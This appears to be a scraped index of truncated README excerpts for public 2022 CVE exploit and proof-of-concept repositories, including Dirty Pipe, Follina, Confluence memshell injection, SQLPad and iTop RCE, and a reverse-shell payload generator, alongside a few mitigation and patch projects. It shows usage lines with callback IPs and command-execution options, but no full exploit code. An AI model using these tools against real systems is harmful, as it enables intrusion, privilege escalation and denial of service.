CVE-2022-33679

CVE-2022-33679 One day based on https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html Usage root@kitploit: usage: CVE-2022-33079.py -h -ts -debug -dc-ip ip address target serverName Example...

exploit-CVE-2022-24780

iTop RCE via SSTI - CVE-2022-24780 漏洞利用 iTop --debug exploit.rb light --debug exploit.rb -h | --help full：使用模拟浏览器执行 JavaScript，保留原始用户档案信息 light：仅解析 HTML 并发送请求，不执行 JavaScript，（破坏性）重置用户信息：电话、地点、职能 选项： 根 URL（基础路径），包括 HTTP 方案、端口和根文件夹 iTop 门户用户名 iTop 门户用户密码 要在目标上执行的命令 --debug 显示参数 -h, --help 显示此屏幕 示例：...

sqlpad-rce-exploit-CVE-2022-0944

SQLPad RCE Exploit This repository contains an exploit script for CVE-2022-0944 in SQLPad, a vulnerability that allows for Remote Code Execution RCE via the /api/test-connection endpoint. Overview The provided script exploit.py demonstrates how to exploit the RCE vulnerability in SQLPad. The scri...

CVE-2022-0847

Information root@kitploit: Exploit Title: Local Privilege Escalation in Linux kernel CVE-2022-0847 Date: 03/07/2022 Exploit Author: Max Kellermann Tested on: ubuntu 20.04.1 LTS Affect product:Linux kernel 5.8 or later Fixed Product:Linux kernel 5.16.11, 5.15.25, 5.10.102 CVE ID: CVE-2022-0847 How...

dirty-pipe

Dirty Pipe - CVE-2022-0847 This is simply the code and instructions for how to use Max Kellermann's exploit for CVE-2022-0847 known as Dirty Pipe. Please go to https://dirtypipe.cm4all.com/ to read more about how to exploit works! How to use 1. Download and compile the exploit binary root@kitploi...

CVE-2022-21449-TLS-PoC

CVE-2022-21449-TLS-PoC CVE-2022-21449 also dubbed Psychic Signatures in the vulnerability writeup by Neil Madden Proof of Concept demonstrating its usage with a vulnerable client and a malicious TLS server. The malicious server presents a valid as of 2022-04-20 cert chain for www.google.com which...

CVE-2022-29072

7-Zip CVE 2022-29072 - Powershell 检测/缓解 删除有问题的 CHM 文件的代码已被注释掉。 取消注释将导致脚本强制删除文件——使用风险自负！ 如果提交带有新哈希的 PR，请同时提供文件以供验证。...

CVE-2022-33679

CVE-2022-33679 CVE-2022-33679 的概念验证...

CVE-2022-26134-Godzilla-MEMSHELL

CVE-2022-26134-Godzilla-MEMSHELL Usage root@kitploit: java -jar CVE-2022-26134.jar 哥斯拉密码 哥斯拉密钥 example java -jar CVE-2022-26134.jar pass key 如果内存Shell已经注入成功但哥斯拉无法连接,请在请求配置添加以下协议头或者为哥斯拉配置Burp代理 root@kitploit: Connection: close root@kitploit: C:\CVE202226134jarjava -jar CVE-2022-26134.jar...

CVE-2022-23935

CVE-2022-23935 🐍 CVE-2022-23935 的 Python 漏洞利用程序 CVE-2022-23935 的分阶段反向 Shell Payload 生成器 示例 root@kitploit: cve-2022-23935 10.10.16.3 44444 用法 root@kitploit: usage: cve-2022-23935 -h -l SERVERPORT -s SHELL ip port positional arguments: ip 用于回调的 IP 地址/主机 port 用于回调的端口号 options: -h, --help 显示此帮助信息并退出 ...

lazylist-cve-poc

CVE-2022-36944 payload 生成器 这个小项目用于演示 CVE-2022-36944 漏洞的概念验证。它与 ysoserial 类似，但仅针对该 CVE 生成使用 LazyList 类的 payload。 快速 FAQ 哪些构件带来了该漏洞？ 版本在 2.13.9 之前的 org.scala-lang:scala-library 哪些应用程序易受攻击？ 要使你的应用程序可利用，必须同时满足两个条件： 你的应用程序的 classpath 中包含易受攻击的 scala-library jar 你的应用程序中某处最终调用了...

CVE-2022-22947

SpringCloud-Gateway命令执行漏洞（CVE-2022-22947） 环境搭建 方式一： 通过克隆Github上已写好的环境代码。 Github仓库 root@kitploit: //⚠️注意环境代码下载路径不可含有中文或空格 git clone https://github.com/Ha0Liu/CVE-2022-22947.git 使用IDEA打开我们刚刚下载的代码包，Open --- 刚下载的文件路径 --- Open。 方式二： 通过自己手动创建工程，搭建环境。 （1）新建工程，配置好后一路next即可； （2）分析项目的目录结构： ​...

CVE-2022-2588

CVE-2022-2588 Code adapted for one cpu, and with a vagrant file provided to boot up a vulnerable machine used for educational purposes. To create a vulnerable machine, you need to have Vagrant installed on your machine, then execute on the repository root: root@kitploit: Vagrant up Wait for...

CVE-2022-21894-Payload

This is a simple example payload for CVE-2022-21894 that demonstrates how an attacker could map a second stage payload in order to be able to call EFI services. A writeup of this vulnerability can be viewed here: https://github.com/Wack0/CVE-2022-21894. The code in this repository extends the PoC...

CoreTrustDemo

Linus Henze 的 CoreTrust 漏洞演示 CVE-2022-26766, CoreTrust 允许任意根证书 使用方法请参见 https://worthdoingbadly.com/coretrust/。...

Magento-APSB22-48-Security-Patches

官方 Magento 补丁已发布：Magento Docs 这些补丁解决了与本仓库相同的安全问题。不过，我们还为较旧版本的 Magento 添加了一些修复。 APSB22-48 的安全补丁 本仓库包含针对 2022 年 12 月 10 日发现的近期安全问题的 Magento 2 补丁文件。 这些补丁文件旨在修复 CVE-2022-35698 和 CVE-2022-35689 漏洞。 关于 Magento 新发布的补丁版本中所包含的确切修复，目前公开信息不多。 为了创建这些补丁文件，我们竭尽所能检查了 2.4.4-p1...2.4.4-p2 diff，并提取了可能存在于 Magento...

follina

follina POC 关于 CVE-2022-30190（又名 follina）的全部内容，这是一个影响 Microsoft Support Diagnostic Tools MSDT 在 Office 应用（如 Word）上的 RCE 漏洞。这是一个非常简单的 POC，欢迎查看下面的来源以获取更多威胁情报。 用法 root@kitploit: usage: follina.py -h --command COMMAND --ip IP --port PORT --output OUTPUT --reverse REVERSE POC for CVE-2022-30190, aka...

FollinaExtractor

FollinaExtractor 从Follina CVE-2022-30190 的docx和rtf文件中提取有效载荷URL 用法: extractfollina.py -f C:\path\to\file.rtf...

CVE-2022-0543

CVE-2022-0543 CVE-2022-0543RCE,Redis Lua沙盒绕过 命令执行 Usage python3 CVE-2022-0543.py...

CVE-2022-21907

CVE-2022-21907 A REAL DoS exploit for CVE-2022-21907 It supports IPv4/IPv6/HTTP/HTTPS Affect root@kitploit: - Windows - 10 Version 1809 for 32-bit Systems - 10 Version 1809 for x64-based Systems - 10 Version 1809 for ARM64-based Systems - 10 Version 21H1 for 32-bit Systems - 10 Version 21H1 for...